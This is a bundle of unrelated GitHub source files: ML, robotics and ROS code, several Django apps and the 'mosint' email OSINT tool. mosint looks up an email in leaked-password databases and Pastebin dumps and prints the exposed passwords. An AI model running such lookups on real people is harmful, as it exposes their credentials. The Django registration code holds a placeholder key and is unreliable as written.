cor_preds = targets[skf] start_cls = True total_targets = [] total_preds = [] for train_i, test_i in skf: # print("Predicted: " + preds[i] + "\t|\tCorrect Class: " + cor_preds[i]) train_target = [targets[x] for x in train_i] train_feats = features[train_i] # Choose Selection or PCA reduction if reduction_choice == 1: train_feats, train_supp = feature_selection(features[train_i], select_ind, train_target) elif reduction_choice == 2: reduct_pca = {} for inds in select_ind: size = int((inds[1] - inds[0]) / inds[2]) reduct_pca[inds[0]] = PCA(size) # reduct_pca[inds[0]] = TruncatedSVD(n_components=size) # reduct_pca[inds[0]] = KernelPCA(n_components=size, kernel='linear') # reduct_pca[inds[0]] = RandomizedPCA(n_components=size) train_feats, reduct_pca = feature_reduction_fit(features[train_i], select_ind, reduct_pca, fit=True) # Fit the model to the training data clf = clf.fit(train_feats, train_target) # Prepare the test data in the same format as the training data test_target = [targets[x] for x in test_i] test_feats = features[test_i, :] if reduction_choice == 1: test_feats = test_feats[:, train_supp] elif reduction_choice == 2: test_feats, reduct_pca = feature_reduction_fit(features[test_i], select_ind, reduct_pca) # Test the model of test set. Calculate the Accuracy Score and Confusion Matrix # Accuracy score will have the mean of all results calculated. CM will be summed. preds = clf.predict(test_feats) sc = accuracy_score(test_target, preds) cm = confusion_matrix(test_target, preds) if start_cls: total_confusion = cm total_score = sc start_cls = False else: total_confusion += cm total_score += sc total_targets.extend(test_target) total_preds.extend(preds) acc = str(accuracy_score(test_target, preds)) # gc.collect() # print("Took out the trash!!") # savefile.write("Accuracy is : " + acc) # savefile.write("\n----------------------------\n") # savefile.write("Confusion Matrix: \n") # savefile.write(str(cm)) # savefile.write('\n\n') # # savefile.write("%-25s %s\n" % ("Target", "Prediction")) # savefile.write("----------------------------------\n") # [savefile.write("%-25s %s\n" % (c1, c2)) for c1, c2 in zip(test_target, preds[test_i])] # savefile.write('\n\n') avg_score = total_score / num_folds savefile.write("Total Accuracy: %0.10f \n\n" % avg_score) savefile.write("Summed CMs\n--------------------\n") savefile.write(str(total_confusion)) # savefile.write("\n\nFinal CM from aggregate targets\n-----------------------------\n") # savefile.write(str(confusion_matrix(total_targets, total_preds))) unique_cls = [] [unique_cls.append(x) for x in total_targets if x not in unique_cls] savefile.write("\n\nREPORT!!!\n-----------------------------------\n") savefile.write(classification_report(total_targets, total_preds)) savefile.write("%-25s %s\n" % ("Target", "Prediction")) savefile.write("----------------------------------\n") [savefile.write("%-25s %s\n" % (c1, c2)) for c1, c2 in zip(total_targets, total_preds)] savefile.write('\n\n') savefile.close() if __name__ == "__main__": main() # D:\Documents\DT228_4\FYP\Datasets\Test\ # D:\Documents\DT228_4\FYP\Datasets\080327\0_Audio ``` #### File: JosephDevaney/FYP/VideoDownloader.py ```python import youtube_dl import numpy as np import DatasetStats as dss import os from VideoFeatures import VideoFeatures YT_PREFIX = "https://www.youtube.com/watch?v=" def load_classes(): return [cl.strip('\n') for cl in open("classes.txt") if cl] # Setup options and call the library def download(v_id, cat, time, dir, options): print("Starting Download of " + v_id + "***") options['outtmpl'] = dir + '\\' + cat + '_' + v_id + '_' + time + '.%(ext)s' options['-w'] = True try: with youtube_dl.YoutubeDL(options) as ydl: ydl.download([v_id]) print("***Download Complete***") return True except: print("***Unable to Download***") return False # Parses Text file and extracts necessary URL # Checks for existing file at specified location and ignores duplicate files. # Allows user to specify number of videos per class # Currently only selects videos between 30 and 240 seconds def main(): classes = load_classes() datafile = input("Please enter the location of the datafile: \n") num_vids_per_cat = int(input("Required number of videos per category : \n")) print("Loading statistics from existing dataset") stats = dss.analyse_features() dss.print_stats(stats) # stats = {} videodata = [[val for val in line.split('\t')] for line in open(datafile) if line] videolinks = np.array([[v[0], v[3], v[4]] for v in videodata if len(v) > 4]) savedir = input("Please enter the directory that will store the downloads: \n") f_names = [f for f in os.listdir(savedir) if f.endswith('.wav')] yt_opts = { 'format': 'bestaudio/best', 'postprocessors': [{ 'key': 'FFmpegExtractAudio', 'preferredcodec': 'wav', }] } for video in videolinks: vid_link = video[0] vid_cat = video[1] vid_len = video[2] v_name = vid_cat + '_' + vid_link + '_' + vid_len + '.wav' if vid_cat in classes: if vid_cat not in stats: stats[vid_cat] = [0, 0] if stats[vid_cat][0] < num_vids_per_cat and v_name not in f_names and 30 <= int(vid_len) <= 240: if download(vid_link, vid_cat, vid_len, savedir, yt_opts): stats[vid_cat][0] += 1 stats[vid_cat][1] += int(vid_len) dss.print_stats(stats) if __name__ == "__main__": main() # D:\Documents\DT228_4\FYP\Datasets\080327\1.txt # D:\Documents\DT228_4\FYP\Datasets\080327\0_Audio # D:\Documents\DT228_4\FYP\Datasets\080327\0_Audio2 ```
{ "source": "JosephDistefano/offset-human-interface", "score": 3 }
#### File: offset-game/envs/primitive_manager.py ```python import numpy as np from scipy import interpolate from primitives.planning.planners import SkeletonPlanning from primitives.formation.control import FormationControl class PrimitiveManager(object): def __init__(self, state_manager): self.config = state_manager.config self.state_manager = state_manager self.planning = SkeletonPlanning(self.state_manager.config, self.state_manager.grid_map) self.formation = FormationControl() return None def set_parameters(self, primitive_info): """Set up the parameters of the premitive execution Parameters ---------- primitive_info: dict A dictionary containing information about vehicles and primitive realted parameters. """ # Update vehicles self.vehicles_id = primitive_info['vehicles_id'] if primitive_info['vehicle_type'] == 'uav': self.vehicles = [ self.state_manager.uav[j] for j in self.vehicles_id ] else: self.vehicles = [ self.state_manager.ugv[j] for j in self.vehicles_id ] self.n_vehicles = len(self.vehicles) # Primitive parameters self.primitive_id = primitive_info['primitive_id'] self.formation_type = primitive_info['formation_type'] self.end_pos = primitive_info['end_pos'] self.count = 0 return None def make_vehicles_idle(self): for vehicle in self.vehicles: vehicle.idle = True return None def make_vehicles_nonidle(self): for vehicle in self.vehicles: vehicle.idle = False return None def get_centroid(self): centroid = [] for vehicle in self.vehicles: centroid.append(vehicle.current_pos) centroid = np.mean(np.asarray(centroid), axis=0) return centroid[0:2] # only x and y def convert_pixel_ordinate(self, point, ispixel): if not ispixel: converted = [point[0] / 0.42871 + 145, point[1] / 0.42871 + 115] else: converted = [(point[0] - 145) * 0.42871, (point[1] - 115) * 0.42871] return converted def get_spline_points(self): # Perform planning and fit a spline self.start_pos = self.centroid_pos pixel_start = self.convert_pixel_ordinate(self.start_pos, ispixel=False) pixel_end = self.convert_pixel_ordinate(self.end_pos, ispixel=False) path = self.planning.find_path(pixel_start, pixel_end, spline=False) # Convert to cartesian co-ordinates points = np.zeros((len(path), 2)) for i, point in enumerate(path): points[i, :] = self.convert_pixel_ordinate(point, ispixel=True) # Depending on the distance select number of points of the path segment_length = np.linalg.norm(self.start_pos - self.end_pos) n_steps = np.floor(segment_length / 200 * 250) if points.shape[0] > 3: tck, u = interpolate.splprep(points.T) unew = np.linspace(u.min(), u.max(), n_steps) x_new, y_new = interpolate.splev(unew, tck) # points = interpcurve(250, x_new, y_new) # x_new, y_new = points[:, 0], points[:, 1] else: # Find unique points points = np.array(list(set(tuple(p) for p in points))) f = interpolate.interp1d(points[:, 0], points[:, 1]) x_new = np.linspace(points[0, 0], points[-1, 0], 10) y_new = f(x_new) new_points = np.array([x_new, y_new]).T return new_points, points def execute_primitive(self, p_simulation): """Perform primitive execution """ primitives = [self.planning_primitive, self.formation_primitive] done = primitives[self.primitive_id - 1]() # Step the simulation p_simulation.stepSimulation() return done def planning_primitive(self): """Performs path planning primitive """ # Make vehicles non idle self.make_vehicles_nonidle() done_rolling = False if self.count == 0: # First point of formation self.centroid_pos = self.get_centroid() self.next_pos = self.centroid_pos done = self.formation_primitive() if done: self.count = 1 self.new_points, points = self.get_spline_points() else: self.centroid_pos = self.get_centroid() distance = np.linalg.norm(self.centroid_pos - self.end_pos) if len(self.new_points) > 2 and distance > 5: self.next_pos = self.new_points[0] self.new_points = np.delete(self.new_points, 0, 0) else: self.next_pos = self.end_pos self.formation_primitive() if distance < 0.5: done_rolling = True if done_rolling: self.make_vehicles_idle() return done_rolling def formation_primitive(self): """Performs formation primitive """ if self.primitive_id == 2: self.centroid_pos = self.end_pos self.next_pos = self.end_pos dt = self.config['simulation']['time_step'] self.vehicles, done = self.formation.execute(self.vehicles, self.next_pos, self.centroid_pos, dt, self.formation_type) for vehicle in self.vehicles: vehicle.set_position(vehicle.updated_pos) return done ``` #### File: offset-game/envs/rewards.py ```python import numpy as np class BenningReward(object): def __init__(self, state_manager): self.state_manager = state_manager self.current_time = state_manager.current_time self.config = state_manager.config def get_time_dist(self, vehicle, target_pos): """Calculated the information of probable goal building Parameters --------- vehicle : vehicle class We use the speed and current position target_pos : array final desired position of robot Returns ------- float time to reach the target [minimum time] """ # Read from co-ordinate file diff = np.asarray(vehicle.current_pos[0:2]) - np.asarray(target_pos) distance = np.linalg.norm(diff) if vehicle.type == 'uav': time_to_reach = distance / vehicle.speed elif vehicle.type == 'ugv': time_to_reach = self.config['ugv'][ 'coef_slowness'] * distance / vehicle.speed # path_RRT = path_planning(vehicle.current_pos, target_pos) # total_distance = np.sum(np.linalg.norm(np.diff(path_RRT))) # time_to_reach = total_distance / vehicle.speed return time_to_reach def goal_information(self, goal_id, config): """Calculates the information of probable goal building Parameters ---------- goal_id : int Goal ID config : yaml The configuration file Returns ------- dict A dictionary containing goal position, perimeter, floors, progress, and probability """ # Read from co-ordinate file node_info = self.state_manager.target_info(goal_id) info = {} info['goal_position'] = node_info['position'] info['perimeter'] = node_info['perimeter'] info['floors'] = node_info['n_floors'] info['goal_progress'] = 0 info['goal_probability'] = 0 return info def mission_reward(self, ugv, uav, config): """Caculated the total mission reward depending on the progress Parameters ---------- ugv : list List of all UGVs uav : list List of all UAVs config : yaml The configuration file Returns ------- float The reward for the mission at an instant of time. """ # Simulation parameters total_time = config['simulation']['total_time'] goals = config['simulation']['goal_node'] # UAV reward weight parameters w_time_uav = config['weights']['w_time_uav'] w_battery_uav = config['weights']['w_battery_uav'] w_b_UAV_0 = 1 # Need to implement # Reward for UAV r_uav_time = 0 r_uav_battery = 0 # Calculate the reward for UAV for vehicle in uav: r_uav_battery += w_battery_uav * vehicle.battery / w_b_UAV_0 for goal in goals: position, _ = vehicle.get_pos_and_orientation() info = self.goal_information(goal, self.config) time_to_goal = self.get_time_dist(vehicle, info['goal_position']) r_uav_time += w_time_uav * (1 - info['goal_progress']) * ( total_time - time_to_goal) / total_time # Reward for UGV r_ugv_time = 0 r_ugv_ammo = 0 # UGV reward weight parameters w_time_ugv = config['weights']['w_time_ugv'] w_battery_ugv = config['weights']['w_ammo_ugv'] w_b_ugv_0 = 1 # Need to implement # Calculate the reward for UGV for vehicle in ugv: r_ugv_ammo += w_battery_ugv * vehicle.ammo / w_b_ugv_0 for goal in goals: position, _ = vehicle.get_pos_and_orientation() info = self.goal_information(goal, self.config) time_to_goal = self.get_time_dist(vehicle, info['goal_position']) r_ugv_time += w_time_ugv * (1 - info['goal_progress']) * ( total_time - time_to_goal) / total_time # Search reward parameters w_search = self.config['weights']['w_search'] # mission_success = self.config['weights']['mission_success'] r_search = 0 for target in self.state_manager.target: r_search += w_search * target['progress_goals'] # for vehicle in ugv: # position = vehicle.get_pos_and_orientation() # for goal in range(n_goals): # info = goal_information(goal) # time_to_goal = get_time_dist(vehicle, info['goal_position']) # # Need to implement inside buidling search # # inside_search_time = get_t_search_inside(info['perimeter'] * # noqa # # info['floors']) # # r_search += w_search * info['goal_probability'] * info[ # # 'goal_progress'] * (total_time - # # inside_search_time) / total_time reward = r_ugv_time + r_ugv_ammo + r_uav_time + r_uav_battery + r_search # noqa return reward ``` #### File: offset-game/gui/information.py ```python import pygame def get_window_size(screen_size): size = (0.225 * screen_size[0], 0.75 * screen_size[1]) return size def get_position(screen_size): position = (10 + 0.75 * screen_size[0], 5 + 0.0 * screen_size[1]) return position class Information(pygame.sprite.Sprite): def __init__(self, screen, screen_size): super().__init__() self.position = get_position(screen_size) self.surface = pygame.Surface(get_window_size(screen_size)) self.surface.fill((0, 0, 0)) screen.blit(self.surface, self.position) def update(self, screen): self.surface.fill(pygame.Color('dodgerblue')) ```
{ "source": "josephdoan0105/mosint", "score": 3 }
#### File: mosint/insides/Header.py ```python from insides.bcolors import bcolors def Header(title): print("") print("-------------------------------") print(f"{bcolors.OKGREEN}>{bcolors.ENDC}"+title) print("-------------------------------") ``` #### File: mosint/modules/LeakedDB.py ```python import requests from insides.bcolors import bcolors from prettytable import PrettyTable def LeakedDB(mail,_verbose=None): if _verbose != None: try: res = requests.get(f"https://scylla.sh/search?q=email:{mail}&size=50&start=0", headers={'Accept': 'application/json'}).json() table = PrettyTable(["Domain","Email",f"{bcolors.FAIL}Password{bcolors.ENDC}"]) if len(res): for s in res: table.add_row([s["fields"]["domain"],s["fields"]["email"],s["fields"].get("password") or s["fields"].get("passhash") or "No Pass Data"]) print(table) else: print(f"{bcolors.FAIL}No leaked accounts found!{bcolors.ENDC}") except Exception as e: print(e) print(f"{bcolors.FAIL}Leaked DB Connection Error!{bcolors.ENDC}") ``` #### File: mosint/modules/Psbdmp.py ```python from bs4 import BeautifulSoup import json, requests from insides.bcolors import bcolors def Psbdmp(mail,_verbose=None): if _verbose != None: try: print(f"{bcolors.WARNING} -- Scanning Pastebin Dumps...{bcolors.ENDC}\n") res = requests.get(f"https://psbdmp.ws/api/search/{mail}",headers={ "Accept": "application/json" }).json().get('data') or [] if len(res): for i in res: print(f"{bcolors.OKGREEN}|-- {bcolors.ENDC}"+"https://pastebin.com/"+i['id']) else: print(f"{bcolors.FAIL}No psbdump records found!{bcolors.ENDC}") except: print(f"{bcolors.FAIL}Psbdump Error!{bcolors.ENDC}") ``` #### File: josephdoan0105/mosint/mosint.py ```python import json, re from insides.bcolors import bcolors from insides.Header import Header def parse_args(): import argparse parser = argparse.ArgumentParser() parser.add_argument('-e', '--email', type=str, required=True, help="Email") return parser.parse_args() # TODO: Clean boolean in string. def main(): args = parse_args() mail = args.email EMAIL_REGEX = r'(^[a-zA-Z0-9_.+-]+@[a-zA-Z0-9-]+\.[a-zA-Z0-9-.]+$)' if not re.match(EMAIL_REGEX, mail): print(f"{bcolors.FAIL}Email format is wrong!{bcolors.ENDC}") exit() with open('config.json', "r") as configFile: conf = json.loads(configFile.read()) for i in conf: verifyApi = (i['verify-email.org API Key']) socialscan = (i['Social Scan']) leakeddb = (i['Leaked DB']) breachedsites = (i['Breached Sites[leak-lookup.com API Key]']) hunterApi = (i['hunter.io API Key']) checkPDF = (i['PDF Check for Related Emails']) dbdata = (i['Related Phone Numbers']) tcrwd = (i['Related Domains']) pastebindumps = (i['Pastebin Dumps']) googlesearch = (i['Google Search']) dns = (i['DNS Lookup']) from insides.Banner import Banner Banner() from modules.ConfigTree import ConfigTree ConfigTree(verifyApi,socialscan,leakeddb,breachedsites,hunterApi,checkPDF,dbdata,tcrwd,pastebindumps,googlesearch,dns,_verbose=True) print("") if (verifyApi != ""): from modules.VerifyMail import VerifyMail title = "VERIFICATION SERVICE" Header(title) VerifyMail(verifyApi,mail,_verbose=True) if (socialscan == "True" or socialscan == "T" or socialscan == "true"): from modules.SocialScan import SocialScan title = "SOCIAL SCAN" Header(title) SocialScan(mail,_verbose=True) if (leakeddb == "True" or leakeddb == "T" or leakeddb == "true"): from modules.LeakedDB import LeakedDB title = "LEAKED DB [Password dumps]" Header(title) LeakedDB(mail,_verbose=True) if (breachedsites != ""): from modules.BreachedSites import BreachedSites title = "BREACHED SITES" Header(title) BreachedSites(mail,breachedsites,_verbose=True) if (hunterApi != ""): from modules.Hunter import Hunter title = "RELATED EMAILS" Header(title) Hunter(mail,hunterApi,_verbose=True) if (checkPDF == "True" or checkPDF == "T" or checkPDF == "true"): from modules.PDFcheck import PDFcheck title = "RELATED EMAILS IN PDFs" Header(title) PDFcheck(mail,_verbose=True) if (dbdata == "True" or dbdata == "T" or dbdata == "true"): from modules.RelatedNumbers import RelatedNumbers title = "RELATED PHONE NUMBERS" Header(title) RelatedNumbers(mail,_verbose=True) if (tcrwd == "True" or tcrwd == "T" or tcrwd == "true"): from modules.RelatedDomains import RelatedDomains title = "RELATED DOMAINS" Header(title) RelatedDomains(mail,_verbose=True) if (pastebindumps == "True" or pastebindumps == "T" or pastebindumps == "true"): from modules.Psbdmp import Psbdmp title = "PASTEBIN DUMPS" Header(title) Psbdmp(mail,_verbose=True) if (googlesearch == "True" or googlesearch == "T" or googlesearch == "true"): from modules.Googling import Googling title = "GOOGLING" Header(title) Googling(mail,_verbose=True) if (dns == "True" or dns == "T" or dns == "true"): from modules.DNS import DNS title = "DNS LOOKUP" Header(title) DNS(mail,_verbose=True) main() ```
{ "source": "joseph-d-p/altair", "score": 2 }
#### File: examples/tests/test_examples.py ```python import pkgutil import pytest from altair.utils.execeval import eval_block from altair import examples def iter_example_filenames(): for importer, modname, ispkg in pkgutil.iter_modules(examples.__path__): if ispkg or modname.startswith('_'): continue yield modname + '.py' @pytest.mark.parametrize('filename', iter_example_filenames()) def test_examples(filename): source = pkgutil.get_data(examples.__name__, filename) chart = eval_block(source) if chart is None: raise ValueError("Example file should define chart in its final " "statement.") chart.to_dict() ```
{ "source": "josephdubon/boilerplate_dubon_django_blog", "score": 3 }
#### File: blog/templatetags/blog_tags.py ```python from django import template from django.db.models import Count from django.utils.safestring import mark_safe import markdown from ..models import Post register = template.Library() #### # Register as simple tags #### # A simple template tag that returns the number of posts published so far.= @register.simple_tag def total_posts(): return Post.published.count() # A simple template tag that displays the 5 most commented posts @register.simple_tag def get_most_commented_posts(count=5): # Build a QuerySet using the annotate() function to aggregate the # - total number of comments for each post. return Post.published.annotate( # use the Count aggregation function to store the number of comments # - in the computed field total_comments for each Post object. total_comments=Count('comments') ).order_by('-total_comments')[:count] #### # Register as inclusion_tags #### # An inclusion tag that returns the 5 latest posts. @register.inclusion_tag('blog/post/latest_posts.html') def show_latest_posts(count=5): latest_posts = Post.published.order_by('-publish')[:count] return { 'latest_posts': latest_posts } #### # Register Template Filters #### # A template filter to enable use of markdown .md syntax in blog posts and then converts # - post contents to HTML in the templates @register.filter(name='markdown') def markdown_format(text): return mark_safe(markdown.markdown(text)) ```
{ "source": "josephdubon/boilerplate_image_share_app", "score": 3 }
#### File: boilerplate_image_share_app/account/forms.py ```python from django import forms from django.contrib.auth.models import User from .models import Profile # Login form class LoginForm(forms.Form): username = forms.CharField() password = forms.CharField(widget=forms.PasswordInput) # User registration form class UserRegistrationForm(forms.ModelForm): # two additional fieldsโ€”password and password2 # โ€” for users to set their password and confirm it. password = forms.CharField(label='Password', widget=forms.PasswordInput) password2 = forms.CharField(label='Repeat Password', widget=forms.PasswordInput) class Meta: model = User # Include only the username, first_name, and email fields of the model. fields = ( 'username', 'first_name', 'email', ) def clean_password2(self): cd = self.cleaned_data # Use the field-specific clean_password2() validation. if cd['password'] != cd['<PASSWORD>']: raise forms.ValidationError('Passwords do not match.') return cd['password2'] # Edit user form class UserEditForm(forms.ModelForm): class Meta: model = User fields = ( 'first_name', 'last_name', 'email', ) # Edit user profile form class ProfileEditForm(forms.ModelForm): class Meta: model = Profile fields = ( 'date_of_birth', 'photo', ) ``` #### File: boilerplate_image_share_app/account/views.py ```python from django.http import HttpResponse from django.shortcuts import render from django.contrib import messages from django.contrib.auth import authenticate, login from django.contrib.auth.decorators import login_required from .forms import ( LoginForm, UserRegistrationForm, UserEditForm, ProfileEditForm ) from .models import Profile # Login view def user_login(request): if request.method == "POST": # Instantiate the form with the submitted data with form = LoginForm(request.POST). form = LoginForm(request.POST) # Check whether the form is valid with form.is_valid(). If it is not valid, you display # - the form errors in your template (for example, if the user didn't fill in one of the fields). if form.is_valid(): cd = form.cleaned_data # Authenticate the user against the database using the authenticate() method. user = authenticate(request, username=cd['username'], password=cd['password'] ) if user is not None: # If user is registered and active log user in if user.is_active: login(request, user) return HttpResponse('Authenticated successfully') else: # If user account is disabled return HttpResponse('Disabled account') else: # If there user account does not exist return HttpResponse('Invalid login') else: # Return clean form form = LoginForm() return render(request, 'account/login.html', { 'form': form }) # Dashboard view # Check if current user is authenticated @login_required def dashboard(request): return render(request, 'account/dashboard.html', { 'section': 'dashboard' }) # User registration view def register(request): if request.method == 'POST': user_form = UserRegistrationForm(request.POST) if user_form.is_valid(): # Create a new user obj but don't save yet new_user = user_form.save(commit=False) # Set the chosen password # For security reasons, instead of saving the raw password entered by the # - user, you use the set_password() method of the user model that handles hashing. new_user.set_password( user_form.cleaned_data['password']) # Save the user obj new_user.save() # Create the user an empty profile Profile.objects.create(user=new_user) return render(request, 'account/register_done.html', { 'new_user': new_user }) else: user_form = UserRegistrationForm() return render(request, 'account/register.html', { 'user_form': user_form }) # Edit user and profile view @login_required def edit(request): if request.method == 'POST': user_form = UserEditForm(instance=request.user, data=request.POST) profile_form = ProfileEditForm( instance=request.user.profile, data=request.POST, files=request.FILES) if user_form.is_valid() and profile_form.is_valid(): user_form.save() profile_form.save() # Send message to user on success messages.success(request, 'Profile updated successfully') else: # Send message to user on fail messages.error(request, 'Error updating your profile') else: user_form = UserEditForm(instance=request.user) profile_form = ProfileEditForm( instance=request.user.profile) return render(request, 'account/edit.html', {'user_form': user_form, 'profile_form': profile_form}) ```
{ "source": "josephdubon/shoe-store-api", "score": 3 }
#### File: nutshell_config/nutshell_app/models.py ```python from django.db import models """ Your Task This assignment is to use Django REST framework and a fresh Django server to create an API as a potential demo for a shoe store with the following models, broken out for standardization: Manufacturer name: str website: url --- ShoeType style: str --- ShoeColor color_name: str (ROYGBIV + white / black) --> hint: https://docs.djangoproject.com/en/3.0/ref/models/fields/#choices --- Shoe size: int brand name: str manufacturer: FK (Foreign Key) color: FK material: str shoe_type: FK fasten_type: str """ # Manufacturer class NSManufacturer(models.Model): """ name: str website: url """ name = models.CharField(max_length=50, blank=True, default='') website = models.URLField() def __str__(self): return self.name # ShoeType class NSShoeType(models.Model): """ style: str """ style = models.CharField(max_length=50, blank=True, default='') def __str__(self): return self.style # ShoeColor class NSShoeColor(models.Model): """ # color_name: str (ROYGBIV + white / black) --> # hint: https://docs.djangoproject.com/en/3.0/ref/models/fields/#choices """ ROYGBIV = 'RYG' WHITE = 'WH' BLACK = 'BLK' COLOR_NAME_CHOICES = [ (ROYGBIV, 'ROYGBIV'), (WHITE, 'White'), (BLACK, 'Black'), ] color_name = models.CharField( max_length=3, choices=COLOR_NAME_CHOICES, default=WHITE, ) def __str__(self): return self.color_name # Shoe class NSShoe(models.Model): """ size: int brand name: str manufacturer: FK (Foreign Key) color: FK material: str shoe_type: FK fasten_type: str """ size = models.IntegerField(blank=True, default='') brand_name = models.CharField(max_length=50, blank=True, default='') manufacturer = models.ForeignKey(NSManufacturer, on_delete=models.CASCADE, default='') color = models.ForeignKey(NSShoeColor, on_delete=models.CASCADE) material = models.CharField(max_length=25, blank=True, default='') shoe_type = models.ForeignKey(NSShoeType, on_delete=models.CASCADE) fasten_type = models.CharField(max_length=25, blank=True, default='') def __str__(self): return f'{self.size}{self.brand_name}{self.material}{self.fasten_type}' ```
{ "source": "josephdubon/twitter-clone-django", "score": 2 }
#### File: twitter-clone-django/tweet/views.py ```python from django.contrib.auth.decorators import login_required from django.http import HttpResponseRedirect from django.shortcuts import render, reverse from twitteruser.models import TwitterUser from .models import Tweet from .forms import CreateTweetForm from twitterclone import settings # Home tweet list view @login_required def tweet_home_view(request): twitteruser_obj = request.user tweets_total = Tweet.objects.filter(author=twitteruser_obj).count() followers_total = twitteruser_obj.followers.count() tweets = Tweet.objects.all().order_by('-create_time') tweets = [tweet for tweet in tweets if tweet.author in request.user.followers.all() or request.user == tweet.author] return render(request, 'home.html', { 'twitteruser_obj': twitteruser_obj, 'tweets_total': tweets_total, 'followers_total': followers_total, 'tweets': tweets, } ) # Tweet list view @login_required def tweet_list_view(request): tweets = Tweet.objects.all().order_by('-create_time') return render(request, 'tweet_list.html', { 'tweets': tweets, } ) # Tweet detail view def tweet_detail_view(request, tweet_id): tweet = Tweet.objects.get(id=tweet_id) return render(request, 'tweet_detail.html', { 'tweet': tweet } ) # Create tweet view @login_required def create_tweet(request): context = {} if request.method == "POST": form = CreateTweetForm(request.POST) if form.is_valid(): data = form.cleaned_data new_ticket = Tweet.objects.create( title=data['title'], author=request.user, body=data['body'], ) if new_ticket: return HttpResponseRedirect(reverse('home')) form = CreateTweetForm() context.update({'form': form}) return render( request, 'create_tweet.html', context ) ``` #### File: twitter-clone-django/twitteruser/models.py ```python from django.db import models from django.contrib.auth.models import AbstractUser class TwitterUser(AbstractUser): followers = models.ManyToManyField( 'self', related_name='follows', symmetrical=False, blank=True ) bio = models.TextField(default='User has not written bio yet...') update_time = models.DateTimeField(auto_now=True) create_time = models.DateTimeField(auto_now_add=True) def twitteruser_tweets(self): return self.twitteruser_tweets() def __str__(self): return self.username class Meta: ordering = ('-create_time',) ```
{ "source": "josephduchesne/range_array", "score": 3 }
#### File: src/range_array/RangeNode.py ```python from serial import Serial import rospy, time, tf2_ros, tf_conversions, geometry_msgs from sensor_msgs.msg import LaserScan from sensor_msgs.msg import Range serial_port = None scan_pub = None range_pub = [] # position of each sensor: x, y, yaw, pitch in m range_pos = [[-0.23,0.055,-3.5*26, 11.2], [-0.1725, 0.015, -2.5*26, 11.2], [-0.115,0,-1.5*26, 11.2], [-0.0575, 0, -0.5*26, 11.2], \ [0.0575, 0, 0.5*26, 11.2], [0.115,0,1.5*26, 11.2], [0.1725, 0.015, 2.5*26, 11.2], [0.23,0.055,3.5*26, 11.2]] def init(port): global serial_port, scan_pub, range_pub rospy.init_node('range_node') # Init ROS # Initialize all publishers scan_pub = rospy.Publisher('/range_array_scan', LaserScan, queue_size=1) for i in range(0,8): range_pub.append(rospy.Publisher('/range_pub_%d' % i, Range, queue_size=1)) # Connect to the arduino print("Init Serial %s" % port) serial_port = Serial(port, 115200, timeout=None, stopbits = 1) time.sleep(1) #nap while the arduino boots def parse_sensor_data(line): global scan_pub, range_pub # Handle debug text from the arduino if "," not in line: rospy.loginfo("RangeNode: %s" % line) return # Parse the range string into a float array ranges = [float(x)/1000.0 for x in line.split(",")[::-1]] if len(ranges) != 8: rospy.logwarn("Received other than 8 scan ranges", ranges) return br = tf2_ros.TransformBroadcaster() # msg = LaserScan() # msg.header.frame_id = "base_link" # msg.header.stamp = rospy.Time.now() # msg.angle_increment = 26.0/180.0*3.141592 # msg.angle_min = msg.angle_increment*-3.5 # msg.angle_max = msg.angle_increment*3.5 # msg.range_min = 0.1 # msg.range_max = 4.0 # msg.ranges = ranges # reverse! # scan_pub.publish(msg) for i in range(0,8): # Emit the range data for this range rmsg = Range() rmsg.header.frame_id = "base_link" rmsg.header.stamp = rospy.Time.now() rmsg.header.frame_id = "rangefinder_%d" % i rmsg.min_range = 0.1 rmsg.max_range = 4.0 rmsg.field_of_view = 26.0/180.0*3.141592 rmsg.radiation_type = rmsg.INFRARED rmsg.range = ranges[i] range_pub[i].publish(rmsg) # output the TF2 for this range t = geometry_msgs.msg.TransformStamped() t.header.stamp = rospy.Time.now() t.header.frame_id = "base_footprint" t.child_frame_id = rmsg.header.frame_id t.transform.translation.x = range_pos[i][0] t.transform.translation.y = range_pos[i][1]-0.2 t.transform.translation.z = 0.2 q = tf_conversions.transformations.quaternion_from_euler(0, -range_pos[i][3]/180.0*3.1415, range_pos[i][2]/180.0*3.1415-3.1415/2) t.transform.rotation.x = q[0] t.transform.rotation.y = q[1] t.transform.rotation.z = q[2] t.transform.rotation.w = q[3] br.sendTransform(t) def main(): global serial_port, scan_pub init('/dev/ttyUSB1') # Wait for serial lines, emitting ROS messages whenever one is received rate = rospy.Rate(100) while not rospy.is_shutdown(): while serial_port.inWaiting(): parse_sensor_data(serial_port.readline().strip()) rate.sleep() if __name__ == '__main__': try: main() except rospy.ROSInterruptException: pass ```
{ "source": "josephDuque/FinalYearProjectQTNM_u1803982", "score": 2 }
#### File: 2_Trajectories/motionWLorentzForce/plotTrajectory.py ```python import sys, getopt import numpy as np import matplotlib.cm as cm import matplotlib.pyplot as plt import matplotlib.cbook as cbook import matplotlib.animation as animation from mpl_toolkits.mplot3d import Axes3D from scipy import ndimage # ---------------------------------------------------------- plt.rcParams.update({ "text.usetex": True, "font.size" : 12, "font.family": "sans-serif", "font.sans-serif": ["Helvetica"]}) # for Palatino and other serif fonts use: plt.rcParams.update({ "text.usetex": True, "font.size" : 12, "font.family": "serif", "font.serif": ["Palatino"], }) # ---------------------------------------------------------- #print("backend", plt.rcParams["backend"]) #plt.rcParams["backend"] = "TkAgg" # doesn't actually set the backend #matplotlib.use("TkAgg") print("backend", plt.rcParams["backend"]) #print("sys.float_info.dig = ", sys.float_info.dig) #print("sys.float_info.mant_dig = ", sys.float_info.mant_dig) lowEps = np.finfo(float).eps*np.float(100.0) #print("lower precision limit=",lowEps) # ---------------------------------------------------------- def main(argv): inputfile = '' outputfile = '' try: opts, args = getopt.getopt(argv,"hi:o:",["ifile=","ofile="]) except getopt.GetoptError: print('plotTrajectory.py -i <dataToPlotDile> -o <hardCopyFileName>'); sys.exit(2) for opt, arg in opts: if opt == '-h': print('plotTrajectory.py -i <dataToPlotDile> -o <hardCopyFileName>'); sys.exit() elif opt in ("-i", "--ifile"): inputfile = arg elif opt in ("-o", "--ofile"): outputfile = arg print('File with data to plot <Input file> is "', inputfile) print('Filename of hard copy file <Output file> is "', outputfile) # --- Reading data t0,posx,posy,posz,ux,uy,uz = \ np.loadtxt(open(inputfile,'rt').readlines()[:-1], delimiter='\t', skiprows=12, unpack=True); # --- Creating plot #fig = plt.figure() #ax = fig.add_subplot(projection='3d') #scatter = ax.scatter(posx,posy,posz,c=posz,cmap='viridis',alpha=0.75) # legend1 = ax.legend(*scatter.legend_elements(), # loc="upper left", title=r"$z-$Position of a Cyclotron Trajectory",fontsize=12) #ax.add_artist(legend1) fig = plt.figure(figsize=(6,4.5), dpi=144) ax = Axes3D(fig); line = 